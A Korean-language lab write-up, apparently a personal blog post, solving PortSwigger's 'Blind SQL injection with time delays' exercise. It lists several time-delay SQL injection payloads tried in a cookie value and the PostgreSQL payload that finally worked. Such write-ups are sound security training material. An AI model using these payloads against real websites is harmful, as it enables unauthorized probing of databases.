portswigger-academy
SQL-injection - Blind SQL injection with time delays
Dork94
2020. 7. 14. 16:28
- 이번에는 Time delay 를 이용해서 blind injection을 하는 문제
- 마찬가지로 Cookie에 취약점이 존재 함
Jyo5LYnEFMw7YpXx' UNION SELECT SLEEP(10)--
이 되지 않음.Jyo5LYnEFMw7YpXx' UNION SELECT PG_SLEEP(10)--
도 되지 않음.Jyo5LYnEFMw7YpXx' UNION WAITFOR DELAY '0:0:10'--
도 되지 않음Jyo5LYnEFMw7YpXx' UNION dbms_pipe.receive_message(('a'),10)--
도 되지 않음- 음.. 데이터 베이스의 가능한 조건을 모두 해봤는데, 되지 않는거보니 다른 취약점이 있거나 무언가 잘못하고 있는 것 같다.
- 클라이언트에서 무슨 필터가 있는 것도 아닌 것 같은게 네트워크 트래픽에서 입력한 raw 데이터가 그대로 전달 되는 것을 확인할 수 있었다.
- 오랜만에 하다보니
UNION
의 제약 조건에 대해 잊고 있었는되는데, column의 수가 일치해야 한다. 따라서, NULL을 통해 갯수를 추측하면서해보자. - 내가 가진 Mysql을 이용하면
SELECT * from user or SLEEP(10)
과 같은 쿼리가 정상적으로 동작해서 해보니, 이 문제엔 적용이 되지 않는다. - 어떻게 풀긴했는데 이상하다.
x' || PG_SLEEP(5)--
이렇게 했는데 문제에서는 10초이상을 요구함에도 불구하고, 클리어가 됐다는 점과, 위의 문장을 https://rextester.com/l/postgresql_online_compiler 에 컴파일 해봤을때는 에러가 뜨는데 왜 되는거지.. - 아
select '1' where 'a'='a' || PG_SLEEP(10);
이렇게 하면되네..SELECT PG_SLEEP
과 같이해서 그렇다. cheat sheet 를 보다보니 한듯. or
을 이용하고싶어서select '1' where 'a'='a' or PG_SLEEP(10)
을 실행해보니argument of OR must be type boolean, not type void
가 떠서 방법을 생각해보다가select '1' where 'a'='a' or PG_SLEEP(10) IS NULL;
를 이용해서 해보았더니 페이지의 서버상에는 delay가 되지 않았는데, portswigger 페이지에서는 정상적으로 delay가 되었다.- 앞으로 이와 같은 문제는 이렇게 풀어야지.